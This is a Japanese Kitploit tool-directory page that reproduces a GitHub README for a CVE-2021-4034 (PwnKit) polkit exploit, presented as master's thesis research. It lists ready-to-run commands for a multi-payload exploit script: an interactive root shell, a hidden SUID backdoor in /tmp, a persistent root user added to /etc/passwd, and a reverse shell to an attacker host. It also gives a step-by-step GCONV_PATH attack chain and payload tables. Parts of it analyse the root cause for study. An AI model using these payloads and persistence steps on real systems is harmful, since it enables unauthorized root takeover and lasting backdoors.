Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034 — CVE-2021-4034(PwnKit)に関する高度なLinux権限昇格の研究。7つのポリモーフィックペイロードモード(Interactive Shell、Backdoor、User Creation、Reverse Shellなど)を備えた最適化されたエクスプロイトを特徴とします。メモリ破損ロジック、環境変数の操作、アンチフォレンジック技術に焦点を当てたポートフォリオ作品です。 | Kitploit
ツール/GitHubGitHub/devianntsec/cve-2021-4034
特権昇格メモリフォレンジック脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテスト学習と教育レッドチーミングペイロード開発バイナリエクスプロイト
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034(PwnKit)に関する高度なLinux権限昇格の研究。7つのポリモーフィックペイロードモード(Interactive Shell、Backdoor、User Creation、Reverse Shellなど)を備えた最適化されたエクスプロイトを特徴とします。メモリ破損ロジック、環境変数の操作、アンチフォレンジック技術に焦点を当てたポートフォリオ作品です。

リポジトリを見る

CVE-2021-4034 — PwnKit ローカル権限昇格 · 修士論文研究

Platform Language License: MIT Research CVSS

polkit の pkexec ユーティリティにおけるメモリ破壊の脆弱性
ローカル権限昇格 → 領域外書き込みによる root 取得
影響を受けるバージョン: polkit 0.105-31 以前 · パッチ: polkit 0.105-33 (2022年1月)


CVE-2021-4034 - PwnKit を利用して取得した対話型 root シェル

説明

このリポジトリには、polkit の pkexec ユーティリティにおける高深刻度 (CVSS 7.8) のローカル権限昇格脆弱性である CVE-2021-4034 (通称 PwnKit) に関する、私の修士論文研究が含まれています。

この脆弱性は、pkexec の引数処理ロジックにおける領域外書き込みに起因します。pkexec が空または細工された argv で実行されると、argv 配列の境界を越えて envp 配列への読み書きが発生し、権限のないローカルユーザーが悪意のある環境変数を注入できるようになります。これらの環境変数は後で共有ライブラリとして読み込まれ、root 権限で任意のコードが実行されます。

私の貢献

項目説明
マルチペイロードエクスプロイトシェル、id、バックドア、リバースシェルを含む6つのペイロードモードを備えた Python ラッパー
自動化された環境構築GCONV_PATH の自動構築と gconv-modules の自動設定

リポジトリ構成

root@kitploit:~
CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

クイックスタート

前提条件

  • 脆弱性のある polkit を搭載した Linux システム (pkexec --version で 0.105 以前と表示される)
  • GCC コンパイラ (apt install gcc)
  • Python 3.6+
  • 一般ユーザーアカウント (root は不要)
  • テストには分離された VM を推奨

使用方法

root@kitploit:~
# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

ペイロードリファレンス


技術概要

脆弱性の根本原因

pkexec は自身の argv を処理して実行するプログラムを特定します。argc == 0 (空の引数ベクトル) で呼び出されると、argv に対する境界チェックが静かに失敗します。その後の領域外読み取りにより envp[0] が argv[1] として扱われ、envp への領域外書き込みによって攻撃者は環境変数を細工したパスに置き換えることができます。その後、pkexec が g_printerr() を呼び出すと、攻撃者によって制御された環境から GCONV_PATH が読み込まれ、攻撃者が用意した共有ライブラリが root 権限で読み込まれます。

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

攻撃チェーン

root@kitploit:~
1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

主要な技術的詳細


デモ

対話型 Root シェル

対話型シェル

ID 検証

ID ペイロード

whoami 検証

whoami ペイロード

SUID バックドア

バックドア ペイロード

root ユーザーの追加

root ユーザー追加

リバースシェル

リバースシェル

カスタムコマンド

カスタム ペイロード


実証テスト

すべてのテストは、脆弱性のある polkit 0.105-26 を搭載した Ubuntu 20.04 LTS の分離された VirtualBox VM 上で、ネットワークに一切さらさずに実施しました。


技術ドキュメント

ドキュメント説明
根本原因分析pkexec の引数処理における領域外書き込み
攻撃チェーンGCONV_PATH インジェクションのステップバイステップ解説

学術的背景

本研究は、複数の環境にわたる N-Day 脆弱性を分析する、私のサイバーセキュリティ修士論文 (UCAM — Campus Internacional de Ciberseguridad) の一部です。

本 CVE は、論文内のLinux ローカル権限昇格ベクトルを代表しており、以下を示しています:

  • SUID バイナリにおけるメモリ安全性の脆弱性
  • 環境変数の操作による領域外書き込みの悪用
  • glibc の iconv インフラストラクチャを介した共有ライブラリの注入
  • マルチペイロード型の権限昇格後フレームワークの設計

キーワード: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


作成者

Annais Molina (devianntsec) — サイバーセキュリティ修士課程の学生

GitHub LinkedIn Email


謝辞

  • Qualys Research Team — 最初の発見と責任ある情報開示
  • arthepsy — 初期の概念実証リファレンス
  • berdav — 公開 PoC のリファレンス実装

ライセンス

MIT ライセンス — LICENSE を参照


法的免責事項

このリポジトリは、学術的な修士論文の一部として、教育およびセキュリティ研究目的のみで提供されています。すべてのテストは、ネットワークに一切さらされていない分離された仮想マシン上で実施されました。所有しているシステム、またはテストに関する明示的な書面による許可を得たシステムでのみ使用してください。許可なくシステムに対して使用することは違法であり、刑事訴追の対象となる可能性があります。

© 2026 Annais Molina · サイバーセキュリティ修士論文
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
ツールをダウンロード
権限昇格後のモジュールSUID バックドア、root ユーザー作成、カスタムコマンド実行
学術的ドキュメント根本原因分析、攻撃チェーン、脆弱性のタイムライン
ペイロード説明出力
shellroot として対話型 /bin/sh を起動対話型シェル
idid と whoami の出力を /tmp/pwnkit_id.txt に書き込むファイル
whoamiUID/eUID の検証結果を /tmp/pwnkit_root_test に書き込むファイル
backdoor_suidSUID 付き root bash のコピーを /tmp/.sh に作成永続的なバックドア
add_root_userカスタムユーザーを /etc/passwd に追記永続的なアクセス
reverse_shellPython 経由で攻撃者に接続を返すリモートシェル
custom任意のコマンドを root として実行標準出力 / ファイル
コンポーネント値備考
脆弱なバイナリ/usr/bin/pkexecSUID root
トリガー条件argc == 0空の argv
書き込みプリミティブenvp への領域外書き込みargv[argc-1] 経由
読み込みメカニズムGCONV_PATH + gconv-modules標準の glibc iconv
実行コンテキスト共有ライブラリ内の gconv_init()EUID 0 で実行
影響を受けるバージョンpolkit ≤ 0.105-31すべての主要 Linux ディストリビューション
ペイロード結果備考
shell✅ root シェル取得即時の対話型アクセス
id✅ uid=0(root) 確認出力は /tmp/pwnkit_id.txt
whoami✅ root 確認UID/eUID = 0
backdoor_suid✅ /tmp/.sh に SUID ビット設定エクスプロイト後も永続
add_root_user✅ カスタムユーザー作成再起動後も維持
reverse_shell✅ 接続確立Python リバースシェル動作確認
custom✅ 任意のコマンド実行完全な root コンテキスト
CVE タイムライン発見、開示、パッチ適用の経緯